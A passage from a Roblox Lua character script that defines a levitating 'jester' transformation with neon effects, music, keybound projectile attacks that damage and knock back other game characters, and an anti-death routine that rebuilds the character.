CFrame.new(0,0,0)*CFrame.Angles(0,0,0) wait(0.000001) maskweld.C0 = CFrame.new(0,-.555,0) * CFrame.Angles(math.rad(90),0,0) eyo1 = Instance.new("Part",Head) eyo1.BrickColor = BrickColor.new("White") eyo1.Material = "Neon" eyo1.Shape = "Ball" eyo1.Name = "eyo1" eyo1.CanCollide = false eyo1.Size = Vector3.new(0.33, 0.33, 0.33) eyo1weld = weldBetween(eyo1,Head) eyo1weld.C0 = CFrame.new(.215,-.05,.52) light = Instance.new("PointLight", eyo1) light.Color = Color3.new(1,1,1) light.Range = 3 light.Brightness = 4 light.Enabled = true eyo2 = Instance.new("Part",Head) eyo2.BrickColor = BrickColor.new("White") eyo2.Material = "Neon" eyo2.Shape = "Ball" eyo2.Name = "eyo2" eyo2.CanCollide = false eyo2.Size = Vector3.new(0.33, 0.33, 0.33) eyo2weld = weldBetween(eyo2,Head) eyo2weld.C0 = CFrame.new(-.215,-.05,.52) light2 = Instance.new("PointLight", eyo2) light2.Color = Color3.new(1,1,1) light2.Range = 3 light2.Brightness = 4 light2.Enabled = true Character.Shirt.ShirtTemplate = "rbxassetid://676428254" Character.Pants.PantsTemplate = "rbxassetid://676428351" hum.HipHeight = 0 ws = 10 debounce = false attacking = false coroutine.wrap(function() wait(3) notallowedtransform = false end)() else ws = 50 notallowedtransform = true levitate = true ws = 50 glow.Transparency = 0 eyo1:Remove() eyo2:Remove() coroutine.wrap(function() while levitate do for i,v in pairs(Head:GetChildren()) do if v.Name == "eyo1" or v.Name == "eyo2" then v:Remove() end end wait() end end)() mnb = 0 levitatewave = Instance.new("Part", Torso) levitatewave.Size = Vector3.new(1,1,1) levitatewave.CanCollide = false levitatewave.Anchored = true levitatewave.Transparency = .5 levitatewave.BrickColor = BrickColor.new("Really black") levitatewave.CFrame = CFrame.new(Root.Position) * CFrame.new(0,-5,0) levitatewavemesh = Instance.new("SpecialMesh", levitatewave) levitatewavemesh.Scale = Vector3.new(2.5,.3,2.5) levitatewavemesh.MeshId = "rbxassetid://20329976" levitatewave2 = Instance.new("Part", Torso) levitatewave2.Size = Vector3.new(1,1,1) levitatewave2.CanCollide = false levitatewave2.Anchored = true levitatewave2.Transparency = .5 levitatewave2.BrickColor = BrickColor.new("Really red") levitatewave2.CFrame = CFrame.new(Root.Position) * CFrame.new(0,-5,0) levitatewavemesh2 = Instance.new("SpecialMesh", levitatewave2) levitatewavemesh2.Scale = Vector3.new(2,.4,2) levitatewavemesh2.MeshId = "rbxassetid://20329976" blastwave = Instance.new("Part",Torso) blastwave.CFrame = Torso.CFrame blastwave.Anchored = true blastwave.Material = "Neon" blastwave.CanCollide = false blastwave.Shape = "Ball" blastwave.Size = Vector3.new(3,3,3) coroutine.wrap(function() for i = 1, 20 do blastwave.Size = blastwave.Size + Vector3.new(2,2,2) blastwave.Transparency = blastwave.Transparency + 0.05 swait() end blastwave:Remove() end)() coroutine.wrap(function() while levitate do mnb = mnb + 15 levitatewave.CFrame = CFrame.new(Root.Position) * CFrame.new(0,-6 + .5 * math.sin(sine/9),0) * CFrame.Angles(0,math.rad(mnb),0) levitatewave2.CFrame = CFrame.new(Root.Position) * CFrame.new(0,-6 + .5 * math.sin(sine/9),0) * CFrame.Angles(0,math.rad(mnb),0) colors = colortable[math.random(1,#colortable)] lmagic = Instance.new("Part",LeftArm) lmagic.Material = "Neon" lmagic.CanCollide = false lmagic.Anchored = true lmagic.BrickColor = BrickColor.new(colors) lmagic.Size = Vector3.new(1,1,1) lmagic.CFrame = leftlocation.CFrame * CFrame.Angles(math.random(-180,180),math.random(-180,180),math.random(-180,180)) removeuseless:AddItem(lmagic,2) rmagic = Instance.new("Part",RightArm) rmagic.Material = "Neon" rmagic.CanCollide = false rmagic.Anchored = true rmagic.BrickColor = BrickColor.new(colors) rmagic.Size = Vector3.new(1,1,1) rmagic.CFrame = rightlocation.CFrame * CFrame.Angles(math.random(-180,180),math.random(-180,180),math.random(-180,180)) removeuseless:AddItem(rmagic,2) for i,v in pairs(LeftArm:GetChildren()) do if v.Name == lmagic.Name then v.Transparency = v.Transparency + 0.05 end end for i,v in pairs(RightArm:GetChildren()) do if v.Name == rmagic.Name then v.Transparency = v.Transparency + 0.05 end end swait() end end)() framee = Instance.new("Frame") framee.Parent = screenGui framee.Position = UDim2.new(0, 8, 0, -500) framee.Size = UDim2.new(100000000,10000000,10000000,10000000) framee.BackgroundColor3 = BrickColor.new("White").Color framee.BackgroundTransparency = 0 coroutine.wrap(function() wait(.2) for i = 1, 40 do hum.CameraOffset = Vector3.new(math.random(-1,1),math.random(-1,1),math.random(-0,0)) framee.BackgroundTransparency = framee.BackgroundTransparency + 0.025 swait() end hum.CameraOffset = Vector3.new(0,0,0) framee:Remove() end)() doomtheme.SoundId = "rbxassetid://1382488262" doomtheme:Play() doomtheme.Volume = 2 doomtheme.TimePosition = 20.7 jesterWeld.C0 = jesterWeld.C0 * CFrame.new(.3,-.3,0) * CFrame.Angles(math.rad(0),math.rad(-90),0) mjester.MeshId = "rbxassetid://193760002" mjester.TextureId = "rbxassetid://379225327" mjester.VertexColor = Vector3.new(1, 0, 0) Character.Shirt.ShirtTemplate = "rbxassetid://238537827" Character.Pants.PantsTemplate = "rbxassetid://486031443" maskweld.C0 = maskweld.C0 * CFrame.new(0,.55,-.5) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)) mMask.MeshId = "rbxassetid://13520257" mMask.Scale = Vector3.new(1.1, 1, 1) mMask.TextureId = "rbxassetid://13520260" eyo1:Remove() eyo2:Remove() coroutine.wrap(function() while levitate do hum.HipHeight = 3 - .5 * math.sin(sine/9) swait() end end)() attacking = false debounce = false coroutine.wrap(function() wait(3) notallowedtransform = false end)() end end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='.' then end end) checks1 = coroutine.wrap(function() -------Checks while true do if Root.Velocity.y > 1 and levitate == false then position = "Jump" elseif Root.Velocity.y < -1 and levitate == false then position = "Falling" elseif Root.Velocity.Magnitude < 2 and running == false and not levitate then position = "Idle" elseif Root.Velocity.Magnitude < 2 and running == false then position = "Idle2" elseif Root.Velocity.Magnitude < 20 and running == false and levitate == false then position = "Walking" elseif Root.Velocity.Magnitude > 20 and running == false and levitate then position = "Walking2" elseif Root.Velocity.Magnitude > 20 and levitate == false then position = "Running" else end wait() end end) checks1() function ray(POSITION, DIRECTION, RANGE, IGNOREDECENDANTS) return workspace:FindPartOnRay(Ray.new(POSITION, DIRECTION.unit * RANGE), IGNOREDECENDANTS) end function ray2(StartPos, EndPos, Distance, Ignore) local DIRECTION = CFrame.new(StartPos,EndPos).lookVector return ray(StartPos, DIRECTION, Distance, Ignore) end OrgnC0 = Neck.C0 local movelimbs = coroutine.wrap(function() while RunSrv.RenderStepped:wait() do TrsoLV = Torso.CFrame.lookVector Dist = nil Diff = nil if not MseGuide then print("Failed to recognize") else local _, Point = Workspace:FindPartOnRay(Ray.new(Head.CFrame.p, mouse.Hit.lookVector), Workspace, false, true) Dist = (Head.CFrame.p-Point).magnitude Diff = Head.CFrame.Y-Point.Y local _, Point2 = Workspace:FindPartOnRay(Ray.new(LeftArm.CFrame.p, mouse.Hit.lookVector), Workspace, false, true) Dist2 = (LeftArm.CFrame.p-Point).magnitude Diff2 = LeftArm.CFrame.Y-Point.Y HEADLERP.C0 = CFrame.new(0, -1.5, -0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) Neck.C0 = Neck.C0:lerp(OrgnC0*CFrame.Angles((math.tan(Diff/Dist)*1), 0, (((Head.CFrame.p-Point).Unit):Cross(Torso.CFrame.lookVector)).Y*1), .1) end end end) movelimbs() immortal = {} for i,v in pairs(Character:GetDescendants()) do if v:IsA("BasePart") and v.Name ~= "lmagic" and v.Name ~= "rmagic" then if v ~= Root and v ~= Torso and v ~= Head and v ~= RightArm and v ~= LeftArm and v ~= RightLeg and v.Name ~= "lmagic" and v.Name ~= "rmagic" and v ~= LeftLeg then v.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0, 0, 0) end table.insert(immortal,{v,v.Parent,v.Material,v.Color,v.Transparency}) elseif v:IsA("JointInstance") then table.insert(immortal,{v,v.Parent,nil,nil,nil}) end end for e = 1, #immortal do if immortal[e] ~= nil then local STUFF = immortal[e] local PART = STUFF[1] local PARENT = STUFF[2] local MATERIAL = STUFF[3] local COLOR = STUFF[4] local TRANSPARENCY = STUFF[5] if levitate then if PART.ClassName == "Part" and PART ~= Root and PART.Name ~= eyo1 and PART.Name ~= eyo2 and PART.Name ~= "lmagic" and PART.Name ~= "rmagic" then PART.Material = MATERIAL PART.Color = COLOR PART.Transparency = TRANSPARENCY end PART.AncestryChanged:connect(function() PART.Parent = PARENT end) else if PART.ClassName == "Part" and PART ~= Root and PART.Name ~= "lmagic" and PART.Name ~= "rmagic" then PART.Material = MATERIAL PART.Color = COLOR PART.Transparency = TRANSPARENCY end PART.AncestryChanged:connect(function() PART.Parent = PARENT end) end end end function immortality() for e = 1, #immortal do if immortal[e] ~= nil then local STUFF = immortal[e] local PART = STUFF[1] local PARENT = STUFF[2] local MATERIAL = STUFF[3] local COLOR = STUFF[4] local TRANSPARENCY = STUFF[5] if PART.ClassName == "Part" and PART == Root then PART.Material = MATERIAL PART.Color = COLOR PART.Transparency = TRANSPARENCY end if PART.Parent ~= PARENT then hum:Remove() PART.Parent = PARENT hum = Instance.new("Humanoid",Character) if levitate then eyo1:Remove() eyo2:Remove() end hum.Name = "noneofurbusiness" end end end end coroutine.wrap(function() while true do if hum.Health < .1 then deadsound = Instance.new("Sound", Torso) deadsound.Volume = 6 deadsound.SoundId = "rbxassetid://1411352723" deadsound:Play() immortality() end wait() end end)() mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='g' then if not levitate then return end if debounce then return end debounce = true attacking = true FireBall:Play() ws = 15 g1 = Instance.new("BodyGyro", Root) g1.D = 175 g1.P = 20000 g1.MaxTorque = Vector3.new(0,9000,0) for i = 1, 15 do g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.2) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(-10),math.rad(-15),math.rad(0)),.5) RIGHTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(14), math.rad(20), math.rad(-90)), 0.3) swait() end local swoosh = Instance.new("Part",Torso) swoosh.Name = "swoosh" swoosh.CFrame = rightlocation.CFrame * CFrame.new(0,0,0) swoosh.Size = Vector3.new(1.7,1.7,1.7) swoosh.Shape = "Ball" swoosh.Material = "Neon" swoosh.BrickColor = BrickColor.new("Really black") swoosh.CanCollide = false swoosh.Touched:connect(function(hit) if hit.Parent:IsA("Part") then elseif hit.Parent:IsA("SpecialMesh") then elseif hit.Parent.Name == game.Players.LocalPlayer.Name then elseif hit.Parent:findFirstChildOfClass("Humanoid") then Slachtoffer = hit.Parent:findFirstChildOfClass("Humanoid") if Slachtoffer.Health < 1 then return end if damagedebounce == true then return end damagedebounce = true swoosh:Remove() explosion = Instance.new("Part",LeftArm) explosion.CFrame = hit.CFrame explosion.Anchored = true explosion.CanCollide = false explosion.Name = "explo" explosion.Shape = "Ball" explosion.BrickColor = BrickColor.new("Really black") explosion.Material = "Neon" removeuseless:AddItem(explosion,1.5) vel = Instance.new("BodyVelocity",hit.Parent:FindFirstChild("Torso") or hit.Parent:FindFirstChild("UpperTorso")) vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999) torso = hit.Parent:FindFirstChild("Torso") or hit.Parent:FindFirstChild("UpperTorso") vel.velocity = CFrame.new(swoosh.Position,torso.Position).lookVector*60 removeuseless:AddItem(vel,.1) SOUND(explosion,472579737,6,false,3) coroutine.wrap(function() if firsttime2 then return end firsttime2 = true while true do for i,v in pairs(LeftArm:GetChildren()) do if v.Name == "explo" then v.Size = v.Size + Vector3.new(2.5,2.5,2.5) v.Transparency = v.Transparency + .05 end end for i,v in pairs(LeftArm:GetChildren()) do if v.Name == "shock" then v.Transparency = v.Transparency + .05 end end for i,v in pairs(LeftArm:GetChildren()) do if v.Name == "shock2" then v.Transparency = v.Transparency + .05 end end swait() end end)() wait(.1) damagedebounce = false end end) coroutine.wrap(function() if firsttime then return end firsttime = true while wait() do for i,v in pairs(Torso:GetChildren()) do if v.Name == "swoosh" then magiccc = Instance.new("Part",RightArm) magiccc.Material = "Neon" magiccc.CanCollide = false magiccc.Anchored = true magiccc.BrickColor = BrickColor.new(colors) magiccc.Size = Vector3.new(1.5,1.5,1.5) magiccc.CFrame = v.CFrame * CFrame.Angles(math.random(-180,180),math.random(-180,180),math.random(-180,180)) removeuseless:AddItem(magiccc,2) end end end end)() bov = Instance.new("BodyVelocity",swoosh) bov.maxForce = Vector3.new(99999,99999,99999) swoosh.CFrame = CFrame.new(swoosh.Position,mouse.Hit.p) bov.velocity = swoosh.CFrame.lookVector*120 removeuseless:AddItem(swoosh,4) for i = 1, 15 do ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(10),math.rad(15),math.rad(0)),.5) RIGHTARMLERP.C1 = CFrame.new(0,0,0) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.2,1,.5) * CFrame.Angles(math.rad(-90),math.rad(-25),math.rad(0)), 0.5) swait() end ws = 50 removeuseless:AddItem(g1,0.01) debounce = false attacking = false end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='h' then if not levitate then return end if debounce then return end debounce = true attacking = true ws = 0 appi = true coroutine.wrap(function() while appi do swait() if Root.Velocity.Magnitude < 2 and attacking == true then position = "Idle3" end end end)() coroutine.wrap(function() while appi do swait() settime = 0.05 sine = sine + change if position == "Idle3" and attacking == true and appi == true then change = .4 RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(-.2,.2,0) * CFrame.Angles(0,0,0),.1) LEFTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.6, 0.8 - .1 * math.sin(sine/9), 0) * CFrame.Angles(math.rad(0), math.rad(0 + 3 * math.sin(sine/9)), math.rad(35 - 5 * math.sin(sine/9))), 0.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.54, 1.4 + .1 * math.sin(sine/9), .4) * CFrame.Angles(math.rad(9 + 2 * math.cos(sine/9)), math.rad(0), math.rad(0)), 0.4) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 2.0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10 + 2 * math.sin(sine/9))), 0.4) end end end)() coroutine.wrap(function() for i = 1, 20 do RIGHTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(0,math.rad(50),0),.3) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.1,1.3,1.1) * CFrame.Angles(math.rad(180),math.rad(-50),math.rad(0)), 0.3) swait() end end)() SOUND(LeftArm,1982011510,8,false,15) blackhole={} orbzfade={} xz = 0 for i = 1, 220 do xz = xz + .009 bigrmagic = Instance.new("Part",RightArm) bigrmagic.Material = "Neon" bigrmagic.CanCollide = false bigrmagic.Anchored = true bigrmagic.BrickColor = BrickColor.new(colors) bigrmagic.Size = Vector3.new(xz,xz,xz) bigrmagic.CFrame = rightlocation.CFrame * CFrame.Angles(math.random(-180,180),math.random(-180,180),math.random(-180,180)) removeuseless:AddItem(bigrmagic,1) orbz = Instance.new("Part", Torso) orbz.Material = "Neon" orbz.BrickColor = BrickColor.new(colors) orbz.Size = Vector3.new(2,2,2) orbz.Anchored = true orbz.CanCollide = false removeuseless:AddItem(orbz,1) orbz.CFrame = rightlocation.CFrame * CFrame.new(math.random(-25,25),math.random(-25,25),math.random(-25,25)) * CFrame.Angles(math.rad(-180,180),math.rad(-180,180),math.rad(-180,180)) table.insert(blackhole,orbz) table.insert(orbzfade,orbz) for i,v in pairs(blackhole) do v.Size = v.Size - Vector3.new(.1,.1,.1) v.CFrame = v.CFrame:lerp(CFrame.new(rightlocation.Position),.09) end for i,v in pairs(orbzfade) do v.Transparency = v.Transparency + 0.025 end swait() end coroutine.wrap(function() for i = 1, 10 do for i,v in pairs(blackhole) do v.Size = v.Size + Vector3.new(.5,.5,.5) v.Transparency = v.Transparency + .1 end swait() end for i,v in pairs(blackhole) do v:Remove() end clean() end)() charging = true coroutine.wrap(function() while charging do bigrmagic = Instance.new("Part",RightArm) bigrmagic.Material = "Neon" bigrmagic.CanCollide = false bigrmagic.Anchored = true bigrmagic.BrickColor = BrickColor.new(colors) bigrmagic.Size = Vector3.new(xz,xz,xz) bigrmagic.CFrame = rightlocation.CFrame * CFrame.Angles(math.random(-180,180),math.random(-180,180),math.random(-180,180)) removeuseless:AddItem(bigrmagic,.2) swait() end end)() g1 = Instance.new("BodyGyro", Root) g1.D = 175 g1.P = 20000 g1.MaxTorque = Vector3.new(0,9000,0) BigFireBall:Play() for i = 1, 15 do g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.2) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(-10),math.rad(-15),math.rad(0)),.5) RIGHTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(14), math.rad(20), math.rad(-90)), 0.3) swait() end coroutine.wrap(function() for i = 1, 15 do ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(10),math.rad(15),math.rad(0)),.5) RIGHTARMLERP.C1 = CFrame.new(0,0,0) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.2,1,.5) * CFrame.Angles(math.rad(-90),math.rad(-25),math.rad(0)), 0.5) swait() end end)() charging = false local ballzor = Instance.new("Part",Torso) ballzor.Name = "ballzor" ballzor.Material = "Neon" ballzor.BrickColor = BrickColor.new("Really black") ballzor.CanCollide = false ballzor.Size = Vector3.new(xz,xz,xz) ballzor.Anchored = false ballzor.CFrame = Root.CFrame * CFrame.new(1,0,-5) ballzor.Shape = "Ball" removeuseless:AddItem(g1,.0001) zx = xz + .05 coroutine.wrap(function() if firsttime5 then return end firsttime5 = true while true do swait() for i,v in pairs(Torso:GetChildren()) do if v.Name == "ballzor" then magicccc = Instance.new("Part",RightArm) magicccc.Material = "Neon" magicccc.CanCollide = false magicccc.Name = "magicccc" magicccc.Anchored = true magicccc.Transparency = 0 magicccc.BrickColor = BrickColor.new(colors) magicccc.Size = Vector3.new(zx,zx,zx) magicccc.CFrame = v.CFrame * CFrame.Angles(math.random(-180,180),math.random(-180,180),math.random(-180,180)) removeuseless:AddItem(magicccc,2) end end for i,v in pairs(RightArm:GetChildren()) do if v.Name == "magicccc" then v.Transparency = v.Transparency + 0.025 end end end end)() ballzor.Touched:connect(function(hit) if hit.Name ~= "magicccc" then if bigball then return end bigball = true local explosionwave = Instance.new("Part",Torso) explosionwave.Shape = "Ball" explosionwave.BrickColor = BrickColor.new("Really black") explosionwave.Anchored = true explosionwave.CanCollide = false explosionwave.Transparency = .2 explosionwave.Material = "Neon" explosionwave.Size = Vector3.new(1,1,1) explosionwave.CFrame = ballzor.CFrame render = Instance.new("Sound",explosionwave) render.SoundId = "rbxassetid://2006635781" render.Volume = 10 * 10 render:Play() local explosionwave2 = Instance.new("Part",Torso) explosionwave2.Shape = "Ball" explosionwave2.BrickColor = BrickColor.new("Really red") explosionwave2.Anchored = true explosionwave2.CanCollide = false explosionwave2.Material = "Neon" explosionwave2.Size = Vector3.new(.8,.8,.8) explosionwave2.CFrame = ballzor.CFrame deadlywave = Instance.new("Part", explosionwave) deadlywave.Size = Vector3.new(1,1,1) deadlywave.CanCollide = false deadlywave.Anchored = true deadlywave.Transparency = .5 deadlywave.BrickColor = BrickColor.new("Really red") deadlywave.CFrame = CFrame.new(explosionwave.Position) deadlywavemesh = Instance.new("SpecialMesh", deadlywave) deadlywavemesh.Scale = Vector3.new(1,2,1) deadlywavemesh.MeshId = "rbxassetid://20329976" deadlywave2 = Instance.new("Part", explosionwave) deadlywave2.Size = Vector3.new(1,1,1) deadlywave2.CanCollide = false deadlywave2.Anchored = true deadlywave2.Transparency = .5 deadlywave2.BrickColor = BrickColor.new("Really black") deadlywave2.CFrame = CFrame.new(explosionwave.Position) deadlywave2mesh = Instance.new("SpecialMesh", deadlywave2) deadlywave2mesh.Scale = Vector3.new(3,2,3) deadlywave2mesh.MeshId = "rbxassetid://20329976" deadlyring = Instance.new("Part", Torso) deadlyring.Size = Vector3.new(5, 5, 5) deadlyring.Transparency = 0.5 deadlyring.BrickColor = BrickColor.new("Really black") deadlyring.Anchored = true deadlyring.CanCollide = false deadlyring.CFrame = deadlywave.CFrame * CFrame.Angles(math.rad(math.random(-180,180)), math.rad(math.random(-180,180)), math.rad(math.random(-180,180))) deadlyringh = Instance.new("SpecialMesh", deadlyring) deadlyringh.MeshId = "http://www.roblox.com/asset/?id=3270017" deadlyringh.Scale = Vector3.new(8, 8, .1) deadlyring2 = Instance.new("Part", Torso) deadlyring2.Size = Vector3.new(5, 5, 5) deadlyring2.Transparency = 0.5 deadlyring2.BrickColor = BrickColor.new("Really black") deadlyring2.Anchored = true deadlyring2.CanCollide = false deadlyring2.CFrame = deadlywave.CFrame * CFrame.Angles(math.rad(math.random(-180,180)), math.rad(math.random(-180,180)), math.rad(math.random(-180,180))) deadlyringh2 = Instance.new("SpecialMesh", deadlyring2) deadlyringh2.MeshId = "http://www.roblox.com/asset/?id=3270017" deadlyringh2.Scale = Vector3.new(8, 8, .1) ballzor:Remove() bigball = false staybooming = true d = 5 coroutine.wrap(function() while staybooming do Hit = damagealll(d,deadlywave.Position) for _,v in pairs(Hit) do vel = Instance.new("BodyVelocity",v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso")) vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999) torso = v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso") vel.velocity = CFrame.new(deadlywave.Position,torso.Position).lookVector*50 removeuseless:AddItem(vel,.1) end wait(.1) end end)() for i = 1, 70 do d = d + 1 deadlyringh2.Scale = deadlyringh2.Scale + Vector3.new(.5, .5, .1) deadlyringh.Scale = deadlyringh.Scale + Vector3.new(.5, .5, .1) deadlyring.CFrame = deadlyring.CFrame * CFrame.Angles(math.rad(0+7),math.rad(0-7),math.rad(0+7)) deadlyring2.CFrame = deadlyring2.CFrame * CFrame.Angles(math.rad(0-7),math.rad(0+7),math.rad(0-7)) deadlywave.CFrame = deadlywave.CFrame * CFrame.Angles(0,math.rad(0+7),0) deadlywave2.CFrame = deadlywave2.CFrame * CFrame.Angles(0,math.rad(0+4),0) deadlywavemesh.Scale = deadlywavemesh.Scale + Vector3.new(.4,0,.4) deadlywave2mesh.Scale = deadlywave2mesh.Scale + Vector3.new(.5,0,.5) explosionwave.Size = explosionwave.Size + Vector3.new(.5,.5,.5) explosionwave2.Size = explosionwave2.Size + Vector3.new(.5,.5,.5) swait() end for i = 1, 80 do d = d + 3 hum.CameraOffset = Vector3.new(math.random(-1,1),math.random(-1,1),math.random(-1,1)) deadlyringh2.Scale = deadlyringh2.Scale + Vector3.new(4, 4, .2) deadlyringh.Scale = deadlyringh.Scale + Vector3.new(4, 4, .2) deadlyring.CFrame = deadlyring.CFrame * CFrame.Angles(math.rad(0+12),math.rad(0-12),math.rad(0+12)) deadlyring2.CFrame = deadlyring2.CFrame * CFrame.Angles(math.rad(0-12),math.rad(0+12),math.rad(0-12)) deadlywave.CFrame = deadlywave.CFrame * CFrame.Angles(0,math.rad(0+20),0) deadlywave2.CFrame = deadlywave2.CFrame * CFrame.Angles(0,math.rad(0+14),0) deadlywavemesh.Scale = deadlywavemesh.Scale + Vector3.new(3,2,3) deadlywave2mesh.Scale = deadlywave2mesh.Scale + Vector3.new(4,1,4) explosionwave.Size = explosionwave.Size + Vector3.new(4,4,4) explosionwave2.Size = explosionwave2.Size + Vector3.new(4,4,4) swait() end staybooming = false for i = 1, 20 do d = d + 3 hum.CameraOffset = Vector3.new(math.random(-1,1),math.random(-1,1),math.random(-1,1)) deadlyringh2.Scale = deadlyringh2.Scale + Vector3.new(4, 4, .2) deadlyringh.Scale = deadlyringh.Scale + Vector3.new(4, 4, .2) deadlyring.CFrame = deadlyring.CFrame * CFrame.Angles(math.rad(0+12),math.rad(0-12),math.rad(0+12)) deadlyring2.CFrame = deadlyring2.CFrame * CFrame.Angles(math.rad(0-12),math.rad(0+12),math.rad(0-12)) deadlyring.Transparency = deadlyring.Transparency + .25 deadlyring2.Transparency = deadlyring2.Transparency + .25 deadlywave.CFrame = deadlywave.CFrame * CFrame.Angles(0,math.rad(0+20),0) deadlywave2.CFrame = deadlywave2.CFrame * CFrame.Angles(0,math.rad(0+14),0) deadlywavemesh.Scale = deadlywavemesh.Scale + Vector3.new(3,0,3) deadlywave2mesh.Scale = deadlywave2mesh.Scale + Vector3.new(4,0,4) deadlywave.Transparency = deadlywave.Transparency + .25 deadlywave2.Transparency = deadlywave2.Transparency + .25 explosionwave.Size = explosionwave.Size + Vector3.new(4,4,4) explosionwave2.Size = explosionwave2.Size + Vector3.new(4,4,4) explosionwave.Transparency = explosionwave.Transparency + 0.25 explosionwave2.Transparency = explosionwave2.Transparency + 0.05 swait() end hum.CameraOffset = Vector3.new(0,0,0) explosionwave:Remove() explosionwave2:Remove() end end) bov = Instance.new("BodyVelocity",ballzor) bov.maxForce = Vector3.new(99999,99999,99999) ballzor.CFrame = CFrame.new(ballzor.Position,mouse.Hit.p) bov.velocity = ballzor.CFrame.lookVector*200 removeuseless:AddItem(ballzor,4) ws = 50 attacking = false debounce = false appi = false end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='j' then if not levitate then return end if debounce then return end debounce = true charging = true attacking = true downpress = false x = 1 ws = 0 g1 = Instance.new("BodyGyro", Root) g1.D = 175 g1.P = 20000 g1.MaxTorque = Vector3.new(0,9000,0) SOUND(RightArm,2014087015,8,false,3) coroutine.wrap(function() Charge = Instance.new("Sound",RightArm) Charge.SoundId = "rbxassetid://101153932" Charge.Looped = false Charge.Volume = 8 Charge:Play() end)() appi = true coroutine.wrap(function() while appi do swait() if Root.Velocity.Magnitude < 2 and attacking == true then position = "Idle3" end end end)() coroutine.wrap(function() while appi do swait() settime = 0.05 sine = sine + change if position == "Idle3" and attacking == true and appi == true then change = .4 RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(-.2,.2,0) * CFrame.Angles(0,0,0),.1) LEFTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.6, 0.8 - .1 * math.sin(sine/9), 0) * CFrame.Angles(math.rad(0), math.rad(0 + 3 * math.sin(sine/9)), math.rad(35 - 5 * math.sin(sine/9))), 0.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.54, 1.4 + .1 * math.sin(sine/9), .4) * CFrame.Angles(math.rad(9 + 2 * math.cos(sine/9)), math.rad(0), math.rad(0)), 0.4) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 2.0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10 + 2 * math.sin(sine/9))), 0.4) end end end)() for i = 1, 15 do g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.2) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(-10),math.rad(-15),math.rad(0)),.5) RIGHTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(14), math.rad(20), math.rad(-90)), 0.3) swait() end for i = 1, 3 do g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.4) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(-10),math.rad(-15),math.rad(0)),.5) RIGHTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(14), math.rad(20), math.rad(-90)), 0.3) x = x + .1 blastborb = Instance.new("Part",Torso) blastborb.CFrame = rightlocation.CFrame * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180))) blastborb.BrickColor = BrickColor.new(colors) blastborb.Anchored = true blastborb.Size = Vector3.new(10,10,10) blastborb.CanCollide = false blastborb.Material = "Neon" for i = 1, 5 do g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.4) blastborb.Size = blastborb.Size - 